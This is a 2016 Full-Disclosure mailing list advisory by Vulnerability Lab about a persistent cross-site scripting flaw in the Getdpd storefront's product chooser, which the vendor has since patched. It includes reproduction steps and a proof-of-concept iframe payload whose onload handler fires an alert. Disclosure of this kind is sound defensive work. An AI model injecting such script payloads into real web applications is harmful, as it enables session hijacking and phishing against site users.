lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <56B1F579.5010201@vulnerability-lab.com>
Date: Wed, 3 Feb 2016 13:41:29 +0100
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] Getdpd Bug Bounty #1 - (asm0option0) Persistent Web
	Vulnerability

Document Title:
===============
Getdpd Bug Bounty #1 - (asm0option0) Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1464

ID:  #14770


Release Date:
=============
2016-02-02


Vulnerability Laboratory ID (VL-ID):
====================================
1564


Common Vulnerability Scoring System:
====================================
3.6


Product & Service Introduction:
===============================
DPD is an all-in-one shopping cart and digital fulfillment service for downloadable products. Serving thousands of stores, DPD processes and 
delivers millions worth of downloads each year.

(Copy of the Vendor Homepage: https://getdpd.com/security )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered an application-side input validation web vulnerability in the official Getpdp online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-08-06: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)
2015-08-07: Vendor Notification (DPD Security Team - Bug Bounty Program)
2015-09-02: Vendor Response/Feedback (DPD Security Team - Bug Bounty Program)
2016-01-07: Vendor Fix/Patch (DPD Developer Team)
2016-02-02: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
DPD - Digital Product Delivery
Product: DPD Online Service (Web-Application) 2015 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side cross site scripting web vulnerability has been discovered in the official Getdpd online service web-application.
The security vulnerability allows remote attackers to inject own script code to the application-side of the affected application module.

The vulnerability is located in the input value id asm0option0 of the Button/Link creator module. Remote attackers with low privilege 
web-application user accounts are able to inject own malicious script code via POST method request. The injection point is the vulnerable 
id parameter with the title input and the execution point is located in storefront/productchooser?method=cart module. The request method 
to inject is POST and the vulnerability is located to the application-side of the vulnerable service.

The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9. 
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source 
and persistent manipulation of affected or connected application modules.

Request Method(s):
						[+] POST

Vulnerable Service(s):
						[+] getdpd.com
						
Vulnerable Module(s):
						[+] Button/Link creator
						
Vulnerable Parameter(s):
						[+] storefront/productchooser?method=cart  (asm0option0)


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Create new product with payload code( injection code)
2. Click to creat Button/link creator  (https://getdpd.com/storefront/deploy)
3. Click Product Chooser (https://getdpd.com/storefront/productchooser?method=cart)
4. Product Chooser 
5. The payload code will execute!


PoC: Source
<div class=``grid_8 omega``>
          <div class=``box-header info``>Product Chooser</div>
          <div class=``box info``>Add products to your chooser using the pulldown on the left. Once added to the display below, sort them as you like by dragging and dropping. Click on a button to use it. Click on it again to remove it.  When you don't use a button, selecting from your chooser will automatically send you to the cart (or buy now).  Once you have it the way you like, copy the code and paste it on your site.
          </div>

          <div class=``amselect-container`` style=````>
          <div class=``asmContainer`` id=``asmContainer0``><select class=``asmSelect`` name=``asmSelect0`` id=``asmSelect0``><option selected=``selected``>undefined</option><option value=``https://getdpd.com/v2/cart/add/23787/114595/121094`` rel=``asm0option0`` class=````>``> ($1.00)</option><option value=``https://getdpd.com/v2/cart/add/23787/114625/121125`` rel=``asm0option1`` class=``asmOptionDisabled`` disabled=``disabled``>``> ($1.00)</option></select><span class=``asmHighlight`` id=``asmHighlight0`` style=``display: none;``>Added: ``><iframe src=``./Pulldown Builder   DPD Shopping Cart_files/c.html`` onload=``alert(``xss_by_samir``)``> ($1.00)</iframe></span><ol class=``asmList ui-sortable asmListSortable`` id=``asmList0``><li rel=``asm0option1`` class=``asmListItem`` style=``height: 22px;``><span class=``asmListItemLabel``>``><iframe src=``c`` onload=alert(``xss_by_samir``)> ($1.00)</span><a href=``https://getdpd.com/storefront/productchooser?method=cart#`` class=``asmListItemRemove``>remove</a></li></ol><select name=``product_ids[]`` id=``product_ids`` multiple=``multiple`` style=``display: none;``>

<option value=``https://getdpd.com/v2/cart/add/23787/114595/121094`` id=``asm0option0``>``><iframe src=``c`` onload=alert(``xss_by_samir``)> ($1.00)</option><option value=``https://getdpd.com/v2/cart/add/23787/114625/121125`` id=``asm0option1`` selected=``selected``>``><iframe src=``c`` onload=alert(``xss_by_samir``)> ($1.00)</option></select></div>          </div>

          Generated Code:
          <textarea id=``html-code``>


Reference(s):
https://getdpd.com/
https://getdpd.com/storefront/deploy
https://getdpd.com/storefront/productchooser?method=cart


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable input fields. Restrict the input and disallow usage of special chars.
Filter and setip a secure exception handling that prevent the persistent execution in the output location.


Security Risk:
==============
The security risk of application-side input validation web vulnerability in the frontend of the getdpd web-application is estimated as medium. (CVSS 3.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@...lution-sec.com] [www.vulnerability-lab.com] (http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either 
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers 
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even 
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation 
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break 
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@...nerability-lab.com 	- research@...nerability-lab.com 	       		- admin@...lution-sec.com
Section:    dev.vulnerability-db.com	 	- forum.vulnerability-db.com 		       		- magazine.vulnerability-db.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@...nerability-lab.com or research@...nerability-lab.com) to get a permission.

				Copyright © 2016 | Vulnerability Laboratory [Evolution Security]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@...nerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt




_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ